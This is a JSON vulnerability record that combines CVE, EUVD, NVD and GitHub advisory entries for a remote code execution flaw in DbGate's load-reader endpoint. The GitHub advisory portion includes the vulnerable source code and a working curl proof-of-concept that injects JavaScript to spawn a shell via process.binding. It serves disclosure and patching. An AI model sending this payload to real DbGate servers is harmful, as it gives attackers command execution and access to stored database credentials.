{"id":"EUVD-2026-37007","revision":null,"records":[{"revision":"cfa892a58ae34986ae1183e5d387ca35","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48017","aliases":[],"title":"DbGate: Remote Code Execution via functionName injection in loadReader endpoint","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction. An authenticated user with basic access (no admin role, no run-shell-script permission required) can: execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process, read/write any file accessible to the process, pivot to connected databases by reading connection credentials from DbGate's storage, and compromise the host system - in Docker deployments, this typically means root access within the container. Version 7.1.9 contains a patch.","state":0,"publishedAt":"2026-06-15T20:54:18.858+00:00","modifiedAt":"2026-07-23T17:34:47.193+00:00","affected":[{"ecosystem":"Vendor product","name":"dbgate","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dbgate\",\n                    \"product\": \"dbgate\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.1.9\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385","https://github.com/dbgate/dbgate/releases/tag/v7.1.9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48017","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48017","identifiers":["CVE-2026-48017"]},"retained":false,"historicalAffected":[]},{"revision":"ea055dff86654384ac85f1adba63755c","observedAt":"2026-11-23T21:32:13.997+00:00","statement":{"source":"euvd","id":"EUVD-2026-37007","aliases":["CVE-2026-48017","GHSA-hv83-ggc4-v385"],"title":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization…","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction. An authenticated user with basic access (no admin role, no run-shell-script permission required) can: execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process, read/write any file accessible to the process, pivot to connected databases by reading connection credentials from DbGate's storage, and compromise the host system - in Docker deployments, this typically means root access within the container. Version 7.1.9 contains a patch.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385","https://github.com/dbgate/dbgate/releases/tag/v7.1.9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-37007","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 15, 2026, 8:54:18 PM","dateUpdated":"Jul 23, 2026, 5:34:47 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-37007","identifiers":["EUVD-2026-37007","CVE-2026-48017","GHSA-hv83-ggc4-v385"]},"retained":false,"historicalAffected":[]},{"revision":"a8a7b88486264c15bef2bf7d0af21602","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-48017","aliases":[],"title":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization…","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction. An authenticated user with basic access (no admin role, no run-shell-script permission required) can: execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process, read/write any file accessible to the process, pivot to connected databases by reading connection credentials from DbGate's storage, and compromise the host system - in Docker deployments, this typically means root access within the container. Version 7.1.9 contains a patch.","state":0,"publishedAt":"2026-06-15T22:16:16.937+00:00","modifiedAt":"2026-07-23T18:16:54.06+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/dbgate/dbgate/releases/tag/v7.1.9","https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-48017","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-06-15T22:16:16.937","lastModified":"2026-07-23T18:16:54.060"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48017","identifiers":["CVE-2026-48017"]},"retained":false,"historicalAffected":[]},{"revision":"3380cc47b31e4cfa8d6e7b4dab8071c7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-hv83-ggc4-v385","aliases":["CVE-2026-48017"],"title":"DbGate: Remote Code Execution via functionName injection in loadReader endpoint","description":"### Summary\n\nThe `POST /runners/load-reader` endpoint in DbGate accepts a `functionName` parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the `require=null` sandbox restriction.\n\n### Details\n\nThe `loadReader` endpoint in `packages/api/src/controllers/runners.js` (line 353) takes a `functionName` parameter from the request body and passes it to `compileShellApiFunctionName()` which performs no sanitization:\n\n**Vulnerable code** ([permalink](https://github.com/dbgate/dbgate/blob/ea3a61077ab09775c39890c465f0b3e97f6c812e/packages/api/src/controllers/runners.js#L352-L368)):\n\n```javascript\n  loadReader_meta: true,\n  async loadReader({ functionName, props }) {\n    if (!platformInfo.isElectron) {\n      if (props?.fileName && !checkSecureDirectories(props.fileName)) {\n        return { errorMessage: 'DBGM-00289 Unallowed file' };\n      }\n    }\n    const prefix = extractShellApiPlugins(functionName)\n      .map(packageName => `// @require ${packageName}\\n`)\n      .join('');\n\n    const promise = new Promise((resolve, reject) => {\n      const runid = crypto.randomUUID();\n      this.requests[runid] = { resolve, reject, exitOnStreamError: true };\n      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));\n    });\n    return promise;\n  },\n```\n\nThe `loaderScriptTemplate` at line 57-68 directly interpolates the compiled function name:\n\n```javascript\nconst loaderScriptTemplate = (prefix, functionName, props, runid) => `\n${prefix}\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\n${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}\nrequire=null;\nasync function run() {\nconst reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});\nconst writer=await dbgateApi.collectorWriter({runid: '${runid}'});\nawait dbgateApi.copyStream(reader, writer);\n}\ndbgateApi.runScript(run);\n`;\n```\n\nThe `compileShellApiFunctionName` in `packages/tools/src/packageTools.ts` (line 30-35) performs no validation:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);\n  if (nsMatch) {\n    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n  }\n  return `dbgateApi.${functionName}`;\n}\n```\n\n**Two injection vectors:**\n1. Without `@`: The entire `functionName` is appended after `dbgateApi.` without sanitization\n2. With `@`: The part before `@` (`nsMatch[1]`) is appended after `.shellApi.` without sanitization (only the part after `@` goes through `_camelCase`)\n\nAlthough the script template sets `require=null`, the `process` global is still available. `process.binding(\"spawn_sync\")` provides direct access to spawn child processes, completely bypassing the sandbox.\n\n**Compare with safe code in the same file** (line 292):\n\n```javascript\n  start_meta: true,\n  async start({ script }, req) {\n    // ...\n    await testStandardPermission('run-shell-script', req);  // <-- Permission check!\n    if (!platformInfo.allowShellScripting) {                 // <-- Platform check!\n      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };\n    }\n    // ...\n  },\n```\n\nThe `start` endpoint requires the `run-shell-script` permission and checks `allowShellScripting`. The `loadReader` endpoint has **neither** of these checks, making it a privilege escalation from any authenticated user to full RCE.\n\n### PoC\n\nAn authenticated user sends a POST request to `/runners/load-reader` with a crafted `functionName`:\n\n```bash\n# The malicious functionName breaks out of the expression and injects\n# process.binding(\"spawn_sync\") to execute arbitrary commands.\n# The // at the end comments out the remaining template code.\n\ncurl -X POST http://TARGET:3000/runners/load-reader \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -d '{\n    \"functionName\": \"toString();var __r=process.binding(\\\"spawn_sync\\\").spawn({file:\\\"/bin/sh\\\",args:[\\\"/bin/sh\\\",\\\"-c\\\",\\\"id > /tmp/dbgate-rce-proof\\\"],envPairs:[],stdio:[{type:\\\"pipe\\\",readable:true,writable:false},{type:\\\"pipe\\\",readable:false,writable:true},{type:\\\"pipe\\\",readable:false,writable:true}]});dbgateApi.toString//\",\n    \"props\": {}\n  }'\n```\n\nThis generates the following JavaScript that is forked as a child process:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\nrequire=null;\nasync function run() {\nconst reader=await dbgateApi.toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//({})\n// ... rest of template\n}\ndbgateApi.runScript(run);\n```\n\nAfter the request, `/tmp/dbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution.\n\nA standalone PoC script is available at: `reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py`\n\n### Impact\n\nAn authenticated user with **basic access** (no admin role, no `run-shell-script` permission required) can:\n\n1. **Execute arbitrary OS commands** on the DbGate server with the privileges of the Node.js process\n2. **Read/write any file** accessible to the process\n3. **Pivot to connected databases** by reading connection credentials from DbGate's storage\n4. **Compromise the host system** - in Docker deployments, this typically means root access within the container\n\nThis is particularly severe because:\n- No special permissions are required beyond basic authentication\n- The `require=null` sandbox is completely bypassed via `process.binding(\"spawn_sync\")`\n- The `loadReader` endpoint lacks the permission checks present on the `start` endpoint\n- DbGate is commonly deployed as a web-accessible database management tool","state":0,"publishedAt":"2026-06-05T16:39:38+00:00","modifiedAt":"2026-07-08T17:45:17.9002203+00:00","affected":[{"ecosystem":"npm","name":"dbgate-api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.1.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385","https://nvd.nist.gov/vuln/detail/CVE-2026-48017","https://github.com/dbgate/dbgate","https://github.com/dbgate/dbgate/releases/tag/v7.1.9"],"sourceUrl":"https://github.com/advisories/GHSA-hv83-ggc4-v385","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hv83-ggc4-v385","identifiers":["GHSA-hv83-ggc4-v385","CVE-2026-48017"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T05:27:30.5058857+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T05:27:30.5058857+00:00","lastSuccessAt":"2026-11-24T05:27:30.6579444+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.6579447+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-f793b3808edf51819af738f3520c31a94b73d8b94ffa713e4622ddd78d4ca273","complete":true,"records":431031,"lastAttemptAt":"2026-11-24T05:25:39.4708462+00:00","lastSuccessAt":"2026-11-24T05:25:39.3992828+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:25:39.4708462+00:00","snapshotPublishedAt":"2026-11-24T04:25:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-eaaff4ef88bb424298fce31d5f4a031e","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T05:37:39.8459086+00:00","lastSuccessAt":"2026-11-24T05:37:39.841+00:00","error":"533 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T05:37:39.841+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13047,"expectedIdentifiers":13982,"failedIdentifiers":533},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T05:27:30.5058857+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T05:27:30.5058857+00:00","lastSuccessAt":"2026-11-24T05:27:30.6587456+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.6587457+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bc800b0ef2c049deb42191941645dc53","complete":false,"records":13947,"lastAttemptAt":"2026-11-24T05:27:55.9469453+00:00","lastSuccessAt":"2026-11-24T05:27:55.943+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:55.943+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13855,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T05:27:30.092335+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.092335+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T05:25:39.5271755+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:25:39.5271755+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-15e801f03affdaac7ba10268556f4d0b3e1b9f897dae85fdcade5fc30d25011c","complete":true,"records":3217,"lastAttemptAt":"2026-11-24T05:27:30.4682015+00:00","lastSuccessAt":"2026-11-23T17:27:41.2539213+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:30.4682015+00:00","snapshotPublishedAt":"2026-11-23T16:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-489cd9823eeffad22194d5f23ebd63c4e8a3f6a26af6ef41422537f9fa1ebc92","complete":true,"records":232947,"lastAttemptAt":"2026-11-24T05:27:29.9604725+00:00","lastSuccessAt":"2026-11-24T05:27:28.7856608+00:00","error":null,"lastVerifiedAt":"2026-11-24T05:27:29.9604725+00:00","snapshotPublishedAt":"2026-11-24T04:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}